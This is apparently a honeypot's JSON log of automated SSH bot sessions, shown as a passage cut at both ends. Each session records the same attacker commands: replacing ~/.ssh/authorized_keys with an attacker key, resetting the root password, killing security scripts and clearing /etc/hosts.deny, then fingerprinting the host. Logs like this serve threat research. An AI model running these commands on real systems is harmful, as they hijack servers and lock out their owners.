.ssh"},{"seq":2,"at":"2026-08-26T17:08:05.372234+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:08:09.853955+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:08:10.554183+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:08:11.102044+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fDb0EL3TSLX8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:08:11.627469+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:08:12.146138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:08:12.562383+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:08:13.081871+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:08:14.440493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:08:14.970035+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:08:16.061272+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:08:16.602968+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:08:17.376188+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:08:17.898392+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:08:18.309216+00:00","kind":"output","latency_ms":null,"data":" 17:08:18 up 6 days, 13:58, 0 user, load average: 0.32, 0.4, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:08:18.828108+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:08:19.699351+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:08:20.218293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:08:20.964307+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:08:21.485491+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:08:21.776851+00:00","kind":"output","latency_ms":null,"data":"top - 17:08:21 up 6 days, 13:58, 0 user, load average: 0.32, 0.4, 0.21\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:08:22.300533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:08:22.673390+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:08:23.195114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:08:23.484490+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:08:24.010190+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:08:24.619122+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:08:25.144233+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:08:26.295059+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:08:26.814541+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:08:28.238020+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Root@2025","method":"password","accepted":true,"tier":"other"}]} {"id":"b64052af-e251-4e94-bc05-5ff4676c7fa5","name":"dusky-tawny-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":53834,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":534,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:56:41.435014+00:00","ended_at":"2026-08-26T16:56:42.891316+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T16:56:16.224503+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:56:16.769258+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:56:22.869265+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:56:23.317027+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:56:23.842002+00:00","kind":"input","latency_ms":null,"data":"echo \"root:gMv5Rz0Tb3by\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:56:24.383597+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:56:24.927052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:56:25.769432+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:56:26.294240+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:56:27.609570+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:56:28.146080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:56:29.515908+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:56:30.049223+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:56:30.608209+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:56:31.155099+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:56:32.014557+00:00","kind":"output","latency_ms":null,"data":" 16:56:32 up 6 days, 13:46, 0 user, load average: 0.08, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:56:32.552347+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:56:33.337060+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:56:33.871559+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:56:34.242594+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:56:34.775150+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:56:35.613555+00:00","kind":"output","latency_ms":null,"data":"top - 16:56:35 up 6 days, 13:46, 0 user, load average: 0.08, 0.06, 0.06\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:56:36.138922+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:56:36.499056+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:56:37.039709+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:56:37.803688+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:56:38.355110+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:56:38.863345+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:56:39.406079+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:56:40.902241+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:56:41.435773+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:56:42.724556+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asdf1234!@#$","method":"password","accepted":true,"tier":"other"}]} {"id":"399c04e2-db52-4a37-8947-ae9cba25946a","name":"weathered-noble-tern","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":43468,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":542,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:47:42.889485+00:00","ended_at":"2026-08-26T16:47:44.105346+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T16:47:19.890394+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:47:20.433180+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:47:25.799206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:47:26.285438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:47:26.829666+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1GyQWDojIHux\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:47:27.366455+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:47:27.913522+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:47:28.337152+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:47:28.885040+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:47:30.146954+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:47:30.688480+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:47:31.875804+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:47:32.418551+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:47:33.159555+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:47:33.702911+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:47:34.103001+00:00","kind":"output","latency_ms":null,"data":" 16:47:34 up 6 days, 13:37, 0 user, load average: 0.31, 0.35, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:47:34.646375+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:47:35.087668+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:47:35.626413+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:47:36.332110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:47:36.882860+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:47:37.341091+00:00","kind":"output","latency_ms":null,"data":"top - 16:47:37 up 6 days, 13:37, 0 user, load average: 0.31, 0.35, 0.19\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:47:37.891388+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:47:38.468054+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:47:39.007218+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:47:39.384116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:47:39.919888+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:47:40.747777+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:47:41.281859+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:47:42.348606+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:47:42.890222+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:47:43.935496+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"a658bcf5-063f-4dff-8e9a-afd117f622cb","name":"sturdy-glacial-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":54946,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":499,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:44:52.681323+00:00","ended_at":"2026-08-26T16:44:54.097677+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2236,"events":[{"seq":1,"at":"2026-08-26T16:44:29.414280+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:44:29.908189+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:44:35.878338+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:44:36.644230+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:44:37.141436+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fXSb5lVTtnr1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:44:37.633473+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:44:38.141266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:44:38.463369+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:44:38.966010+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:44:40.307627+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:44:40.806800+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:44:41.874166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:44:42.373253+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:44:43.105633+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:44:43.601237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:44:44.149207+00:00","kind":"output","latency_ms":null,"data":" 16:44:44 up 6 days, 13:34, 0 user, load average: 0.3, 0.27, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:44:44.644671+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:44:45.359354+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:44:45.860280+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:44:46.165513+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:44:46.664917+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:44:47.125103+00:00","kind":"output","latency_ms":null,"data":"top - 16:44:47 up 6 days, 13:34, 0 user, load average: 0.3, 0.27, 0.33\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:44:47.620467+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:44:48.417132+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:44:48.928189+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:44:49.248998+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:44:49.747068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:44:50.535174+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:44:51.032261+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:44:52.182104+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:44:52.682072+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:44:53.940118+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zb123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"dc749601-cd80-4f73-991b-77c916554db9","name":"crystal-sandy-siskin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":56228,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:41:54.034654+00:00","ended_at":"2026-08-26T16:41:55.391110+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-26T16:41:31.689487+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:41:32.215034+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:41:37.312246+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:41:37.835664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:41:38.361270+00:00","kind":"input","latency_ms":null,"data":"echo \"root:rNq7FXGSX3IB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:41:38.882131+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:41:39.405775+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:41:39.706072+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:41:40.230470+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:41:41.130864+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:41:41.659709+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 